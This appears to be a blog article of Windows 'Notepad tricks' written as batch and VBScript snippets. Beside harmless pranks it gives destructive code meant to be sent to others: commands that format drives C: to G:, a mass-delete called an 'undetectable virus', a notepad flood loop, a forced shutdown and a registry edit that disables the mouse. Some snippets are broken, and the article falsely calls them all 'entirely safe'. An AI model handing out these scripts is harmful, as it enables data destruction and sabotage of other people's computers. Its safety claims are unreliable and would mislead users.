Cool Notepad Tricks: Let us Feel Like a Hacker

One of the traditional tools that come pre-included in different versions of the Microsoft Windows operating system is the well-known Notepad, which can be useful for creating quick text documents and notepad tricks along with it.
With some simple notepad tricks we can make simple tool an interesting application, fun for our leisure time, beyond the benefits, it provides as a text editor.

notepad tricks
Windows enables us to do more exciting things on our computer we apparently did not know. You can locate many secret features of windows using CMD command. Nevertheless, you can also create a batch file of CMD commands, and then notepad can execute it. My article includes some Interesting notepad tricks.

****Try these tricks at your own risk, Me or Almighty God will not be responsible for any damage to your system *****

1. Antivirus Program testing:

Do you want to verify if your Antivirus real-time shield is working flawlessly or not? Then this EICAR (European Institute for Computer Antivirus Research) code will assist you with this cool notepad trick.

ELCAR Antivirus testingThen this EICAR (European Institute for Computer Antivirus Research) code will assist you.
Test your antivirus by typing this code in your notepad:

  • open notepad and type:


  • Save the with .com or .exe extension.
  • For example, or PankHardy.exe
  • If your antivirus is working fine, it will show you alert and quarantine the file by analyzing it as malware.

2. Matrix Effect on Computer Screen:

A very popular trick among Windows users is implicative of the movie Matrix, as it causes the written codes to drop in the system console window. We can achieve the same through notepad.

matrix effect notepad

@echo off
Color 02
Echo% random %% random %% random %% random %% random %% random %% random %% random%
Goto tricks.

Save it as Matrix.bat.
Click on Matrix.bat file, and the show starts.

3. A Trick to Force Shut Down System With Message:

This code will force shut your Windows down in a single-click on this file. So, if you don’t want to waste three clicks, this trick will help you in that. Or may be you want to fool your friend.

shutdown.bat notepad trick

  • Open Notepad and paste the code:
  • @echo off
    Shutdown.exe -s -t 10
    msg * The Lannisters send their regards!!
  • Save this file with .bat extension.
  • Anyone click on this file will automatically shut down the Windows.

4. Flood Of Notepad Tabs to knock out Computer:

@ECHO off
START %SystemRoot%\system32\notepad.exe
GOTO top

save it as FloodTabs.bat and send it to your friends.

5. Create a personal journal:

With Windows Notepad we can create a personal diary in which this simple command, attaches date automatically.

Open Notepad

Type .log in 1st line.
Save the file as log.txt.
Now, write in the file and notepad will save it automatically with edited date and time.


6. Repeated Notepad Messages without type anything:

Repeated messages notepad trick

@ECHO off
msg * Hi
msg * Whatsupp?
msg * I am good!
msg * Let’s go die somewhere!
msg * I am busy, do it alone

Save the file as “haha.bat” extension on your system. Finally, when someone opens this file, consequently it will show message line by line without typing anything.

7. Notepad Code to Format Entire Hard Disk:

This trick will wipe your hard disk, therefore beware using it.

format hard drive notepadYou can format any Hard Drive from typing below code on the system.

  • In the notepad type the code:

format C:/q /y 

format D:/q /y
format E:/q /y
format F:/q /y
format G:/q /y


01100110011011110111001001101101011000010111010000 100000011000110011101001011100 0010000000101111010100010010111101011000

  • Save it as “vanishHDD.exe” file giving any name you want.
  • That’s It! Now if someone double click on this file C: drive will be formatted!

8. Make your First undetectable Virus:

@Echo off
Del D:\ *.* |y

save that as PankHardy.bat in your system.


9. A Trick to Disable Mouse in the system:

rem Disable Mouse
set key=”HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass”

reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4

trapped mouse

*****Use this on your computer to disable your mouse but first learn how to use keyboard in place of mouse ;))))******

10. Notepad Trick to formulate False Windows error:

This is an excellent Notepad method that enables to create Fake error messages. We can create False error message with notepad. Follow these steps:

  •  Open Notepad and type:

X=Msgbox(“Your window is dying in 10 seconds, throw some water over it”,0+16,”windows has some serious issue with your attitude”)

  • Save the file as PankHardy.vbs.
  • Now, click it and custom-made Windows error message will appear.

At last, it is important to note that all the Notepad tricks for Windows Notepad that we have conferred in this article are entirely safe (use at your own risk safe ;)). That implies there is no way they can severely damage PC.  But, in case you have any problems, restart your PC to return to old state.
Also, if you find fault in any trick, please inform in the comment box.

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